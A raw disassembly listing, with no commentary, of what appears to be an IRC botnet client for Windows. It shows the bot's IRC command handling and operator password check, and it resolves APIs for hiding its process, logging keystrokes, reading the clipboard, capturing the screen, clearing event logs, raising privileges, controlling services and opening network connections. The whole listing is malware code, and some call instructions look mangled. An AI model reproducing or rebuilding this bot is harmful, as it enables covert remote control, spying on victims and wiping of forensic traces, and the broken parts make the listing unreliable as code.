loc_409515:				; CODE XREF: sub_401ACD+3D57j
					; sub_401ACD+3D6Ej
		push	edi
		push	offset dword_42A24C
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	offset unk_429CFC
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409531:				; CODE XREF: sub_401ACD+3D29j
					; sub_401ACD+3D40j
		push	[ebp+esi+var_88]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		push	edi
		push	offset unk_429CDC
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409554:				; CODE XREF: sub_401ACD+3CFBj
					; sub_401ACD+3D12j
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	offset unk_429CB8
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409570:				; CODE XREF: sub_401ACD+3123j
					; sub_401ACD+313Aj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	edi
		push	offset unk_429C98
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h


loc_4095A6:				; CODE XREF: sub_401ACD+7B23j
		push	eax
		call	near ptr 26803B2h
		nop


loc_4095AD:				; CODE XREF: sub_401ACD+2A5Fj
		xor	eax, eax
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_4095B4:				; CODE XREF: sub_401ACD+30F5j
					; sub_401ACD+310Cj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	edi
		push	offset unk_429C70
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4095A6
; ---------------------------------------------------------------------------


loc_4095F2:				; CODE XREF: sub_401ACD+EADj
					; sub_401ACD+EC2j
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40AE84
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_429C4C


loc_40963D:				; CODE XREF: sub_401ACD+6FCCj
					; sub_401ACD+75F1j ...
		call	sub_415DAC
		pop	ecx


loc_409643:				; CODE XREF: sub_401ACD+6BD8j
		pop	ecx


loc_409644:				; CODE XREF: sub_401ACD+63Dj
					; sub_401ACD+649j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_40964C:				; CODE XREF: sub_401ACD+A98j
					; sub_401ACD+AADj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_20], esi
		jz	loc_401F75
		cmp	[ebp+var_A4], ebx
		jnz	loc_401F75
		push	offset asc_42CDBC ; "!"
		push	[ebp+var_90]
		call	sub_41CAD4
		mov	esi, eax
		push	offset word_4CB88C
		push	ebx
		inc	esi
		call	sub_41CAD4
		push	offset asc_429C48 ; "~"
		push	eax
		call	sub_41CAD4
		push	[ebp+arg_20]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41CA50
		add	esp, 20h
		test	eax, eax
		jz	short loc_4096EB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429BC8
		jmp	loc_4023EE
; ---------------------------------------------------------------------------


loc_4096EB:				; CODE XREF: sub_401ACD+7BDAj
		mov	[ebp+arg_24], offset off_42915C


loc_4096F2:				; CODE XREF: sub_401ACD+7C41j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B713
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409752
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429160
		jb	short loc_4096F2
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429B74
		jmp	loc_4023EE
; ---------------------------------------------------------------------------


loc_409752:				; CODE XREF: sub_401ACD+7C34j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409757:				; CODE XREF: sub_401ACD+7CB4j
		cmp	[ebp+arg_20], ebx
		jz	loc_401F75
		cmp	[edi], bl
		jnz	short loc_409777
		push	[ebp+arg_20]
		push	offset aCool	; "cool"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409788


loc_409777:				; CODE XREF: sub_401ACD+7C95j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409757
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_409788:				; CODE XREF: sub_401ACD+7CA8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E04]
		push	7Fh
		push	eax
		push	esi
		call	sub_41BFD0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4097BF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429B54
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4097BF:				; CODE XREF: sub_401ACD+7CD6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429B34


loc_4097CB:				; CODE XREF: sub_401ACD+595j
					; sub_401ACD+2889j ...
		call	sub_415DAC


loc_4097D0:				; CODE XREF: sub_401ACD+1B81j
		pop	ecx


loc_4097D1:				; CODE XREF: sub_401ACD+24FDj
		pop	ecx
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4097D7:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		mov	dword_4CB884, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409823	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41CB70
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		leave
		retn
sub_409823	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409869	proc near		; CODE XREF: sub_401ACD+506p
					; sub_401ACD+134Ep ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409884
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_409884:				; CODE XREF: sub_409869+14j
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41B9C0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409907
		push	7D0h
		call	near ptr 26803B2h
		nop

locret_409907:				; CODE XREF: sub_409869+91j
		leave
		retn
sub_409869	endp


; =============== S U B	R O U T	I N E =======================================



sub_409909	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_4270A4
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270C4
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409A29
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CBA80, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CB9F4, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CB9D8, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CB8E8, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CB894, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CB8C4, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CB93C, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CBA34, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CBA90, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CB8F4, eax
		call	esi
		cmp	dword_4CBA80, ebx
		mov	dword_4CB8DC, eax
		jz	short loc_409A07
		cmp	dword_4CB9F4, ebx
		jz	short loc_409A07
		cmp	dword_4CB9D8, ebx
		jz	short loc_409A07
		cmp	dword_4CB8E8, ebx
		jz	short loc_409A07
		cmp	dword_4CB8C4, ebx
		jz	short loc_409A07
		cmp	dword_4CB93C, ebx
		jz	short loc_409A07
		cmp	dword_4CBA34, ebx
		jz	short loc_409A07
		cmp	dword_4CBA90, ebx
		jz	short loc_409A07
		cmp	dword_4CB8F4, ebx
		jz	short loc_409A07
		cmp	eax, ebx
		jnz	short loc_409A11


loc_409A07:				; CODE XREF: sub_409909+B8j
					; sub_409909+C0j ...
		mov	dword_4CBA94, 1


loc_409A11:				; CODE XREF: sub_409909+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CBA0C, eax
		jz	short loc_409A3E
		push	1
		push	ebx
		call	eax
		jmp	short loc_409A3E
; ---------------------------------------------------------------------------


loc_409A29:				; CODE XREF: sub_409909+1Dj
		call	near ptr 2680C22h
		nop
		mov	dword_4CBA98, eax
		mov	dword_4CBA94, 1


loc_409A3E:				; CODE XREF: sub_409909+117j
					; sub_409909+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26A0CBDh
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409B53
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CBA30, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CB9E0, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CB974, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CBA84, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CB9A4, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CB9C4, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CBA28, eax
		call	esi
		cmp	dword_4CBA30, ebx
		mov	dword_4CB914, eax
		jz	short loc_409AF7
		cmp	dword_4CB9E0, ebx
		jz	short loc_409AF7
		cmp	dword_4CB974, ebx
		jz	short loc_409AF7
		cmp	dword_4CBA84, ebx
		jz	short loc_409AF7
		cmp	dword_4CB9A4, ebx
		jz	short loc_409AF7
		cmp	dword_4CB9C4, ebx
		jz	short loc_409AF7
		cmp	dword_4CBA28, ebx
		jz	short loc_409AF7
		cmp	eax, ebx
		jnz	short loc_409B01


loc_409AF7:				; CODE XREF: sub_409909+1B8j
					; sub_409909+1C0j ...
		mov	dword_4CBA9C, 1


loc_409B01:				; CODE XREF: sub_409909+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CB9A0, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CB8A8, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CB970, eax
		call	esi
		cmp	dword_4CB9A0, ebx
		mov	dword_4CB958, eax
		jz	short loc_409B5E
		cmp	dword_4CB8A8, ebx
		jz	short loc_409B5E
		cmp	dword_4CB970, ebx
		jz	short loc_409B5E
		cmp	eax, ebx
		jnz	short loc_409B68
		jmp	short loc_409B5E
; ---------------------------------------------------------------------------


loc_409B53:				; CODE XREF: sub_409909+144j
		nop
		call	near ptr 2680C22h
		mov	dword_4CBAA0, eax


loc_409B5E:				; CODE XREF: sub_409909+232j
					; sub_409909+23Aj ...
		mov	dword_4CBA9C, 1


loc_409B68:				; CODE XREF: sub_409909+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D21
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CBA44, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CB988, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CB9F8, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CB8D4, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CB938, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CB9B0, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CB954, eax
		call	esi
		cmp	dword_4CBA44, ebx
		mov	dword_4CB964, eax
		jz	short loc_409C11
		cmp	dword_4CB988, ebx
		jz	short loc_409C11
		cmp	dword_4CB9F8, ebx
		jz	short loc_409C11
		cmp	dword_4CB8D4, ebx
		jz	short loc_409C11
		cmp	dword_4CB938, ebx
		jz	short loc_409C11
		cmp	dword_4CB9B0, ebx
		jnz	short loc_409C1B


loc_409C11:				; CODE XREF: sub_409909+2DEj
					; sub_409909+2E6j ...
		mov	dword_4CBAA4, 1


loc_409C1B:				; CODE XREF: sub_409909+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CB9B8, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CB990, eax
		call	esi
		cmp	dword_4CB9B8, ebx
		mov	dword_4CBA40, eax
		jz	short loc_409C56
		cmp	dword_4CB990, ebx
		jz	short loc_409C56
		cmp	eax, ebx
		jnz	short loc_409C60


loc_409C56:				; CODE XREF: sub_409909+33Fj
					; sub_409909+347j
		mov	dword_4CBAA4, 1


loc_409C60:				; CODE XREF: sub_409909+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CB9C8, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CB8B0, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CB8B8, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CB91C, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CB920, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CB8CC, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CB994, eax
		call	esi
		cmp	dword_4CB9C8, ebx
		mov	dword_4CB8BC, eax
		jz	short loc_409D04
		cmp	dword_4CB8B0, ebx
		jz	short loc_409D04
		cmp	dword_4CB8B8, ebx
		jz	short loc_409D04
		cmp	dword_4CB91C, ebx
		jz	short loc_409D04
		cmp	dword_4CB920, ebx
		jz	short loc_409D04
		cmp	dword_4CB8CC, ebx
		jz	short loc_409D04
		cmp	dword_4CB994, ebx
		jz	short loc_409D04
		cmp	eax, ebx
		jnz	short loc_409D0E


loc_409D04:				; CODE XREF: sub_409909+3C5j
					; sub_409909+3CDj ...
		mov	dword_4CBAA4, 1


loc_409D0E:				; CODE XREF: sub_409909+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CB8B4, eax
		jnz	short loc_409D36
		jmp	short loc_409D2C
; ---------------------------------------------------------------------------


loc_409D21:				; CODE XREF: sub_409909+26Aj
		call	near ptr 2680C22h
		nop
		mov	dword_4CBAA8, eax


loc_409D2C:				; CODE XREF: sub_409909+416j
		mov	dword_4CBAA4, 1


loc_409D36:				; CODE XREF: sub_409909+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409E02
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CB9C0, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CBA18, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CBA20, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CB9DC, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CB8F8, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CB8A4, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CBA1C, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CB890, eax
		call	esi
		cmp	dword_4CB9C0, ebx
		mov	dword_4CB930, eax
		jz	short loc_409E0D
		cmp	dword_4CBA18, ebx
		jz	short loc_409E0D
		cmp	dword_4CBA20, ebx
		jz	short loc_409E0D
		cmp	dword_4CB9DC, ebx
		jz	short loc_409E0D
		cmp	dword_4CB8F8, ebx
		jz	short loc_409E0D
		cmp	dword_4CB8A4, ebx
		jz	short loc_409E0D
		cmp	dword_4CBA1C, ebx
		jz	short loc_409E0D
		cmp	dword_4CB890, ebx
		jz	short loc_409E0D
		cmp	eax, ebx
		jnz	short loc_409E17
		jmp	short loc_409E0D
; ---------------------------------------------------------------------------


loc_409E02:				; CODE XREF: sub_409909+438j
		call	near ptr 2680C22h
		nop
		mov	dword_4CBAB0, eax


loc_409E0D:				; CODE XREF: sub_409909+4B9j
					; sub_409909+4C1j ...
		mov	dword_4CBAAC, 1


loc_409E17:				; CODE XREF: sub_409909+4F5j
		mov	ebp, dword_4270C0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A0D3
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CB944, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CBA78, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CB8E4, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CB8C0, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CB980, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CB968, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CB92C, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CBA54, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CBA70, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CB97C, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CBA60, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CBA14, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CB9D4, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CB9D0, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CB904, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CB8FC, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CBA24, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CBA38, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CB9EC, eax
		call	esi
		mov	dword_4CB9AC, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CBA00, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CB9BC, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CB9FC, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CBA68, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CB9B4, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CB978, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CB9E8, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CBA58, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CB98C, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CB928, eax
		call	esi
		cmp	dword_4CB944, ebx
		mov	dword_4CBA6C, eax
		jz	loc_40A0DE
		cmp	dword_4CBA78, ebx
		jz	loc_40A0DE
		cmp	dword_4CB8E4, ebx
		jz	loc_40A0DE
		cmp	dword_4CB980, ebx
		jz	loc_40A0DE
		cmp	dword_4CB968, ebx
		jz	loc_40A0DE
		cmp	dword_4CB92C, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA54, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA70, ebx
		jz	loc_40A0DE
		cmp	dword_4CB97C, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA60, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA14, ebx
		jz	loc_40A0DE
		cmp	dword_4CB9D4, ebx
		jz	loc_40A0DE
		cmp	dword_4CB9D0, ebx
		jz	loc_40A0DE
		cmp	dword_4CB904, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA24, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA38, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9EC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9AC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA00, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9BC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9FC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA68, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9B4, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB978, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9E8, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA58, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB98C, ebx
		jz	short loc_40A0DE
		cmp	eax, ebx
		jnz	short loc_40A0E8
		jmp	short loc_40A0DE
; ---------------------------------------------------------------------------


loc_40A0D3:				; CODE XREF: sub_409909+51Fj
		nop
		call	near ptr 2680C22h
		mov	dword_4CBAB8, eax


loc_40A0DE:				; CODE XREF: sub_409909+6BEj
					; sub_409909+6CAj ...
		mov	dword_4CBAB4, 1


loc_40A0E8:				; CODE XREF: sub_409909+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A1ED
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CB910, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CB898, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CB99C, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CB948, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CB9A8, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CB96C, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CB8D8, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CB8D0, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CB8E0, eax
		call	esi
		cmp	dword_4CB910, ebx
		mov	ecx, dword_4CB96C
		mov	dword_4CBA08, eax
		jz	short loc_40A1C9
		cmp	dword_4CB898, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB99C, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB948, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB9A8, ebx
		jz	short loc_40A1C9
		cmp	ecx, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8D8, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8D0, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8E0, ebx
		jz	short loc_40A1C9
		cmp	eax, ebx
		jnz	short loc_40A1D3


loc_40A1C9:				; CODE XREF: sub_409909+87Ej
					; sub_409909+886j ...
		mov	dword_4CBABC, 1


loc_40A1D3:				; CODE XREF: sub_409909+8BEj
		cmp	ecx, ebx
		jz	short loc_40A208
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CB984, eax
		jnz	short loc_40A208
		jmp	short loc_40A202
; ---------------------------------------------------------------------------


loc_40A1ED:				; CODE XREF: sub_409909+7EAj
		nop
		call	near ptr 2680C22h
		mov	dword_4CBAC0, eax
		mov	dword_4CBABC, 1


loc_40A202:				; CODE XREF: sub_409909+8E2j
		mov	dword_4CB984, ebx


loc_40A208:				; CODE XREF: sub_409909+8CCj
					; sub_409909+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A252
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
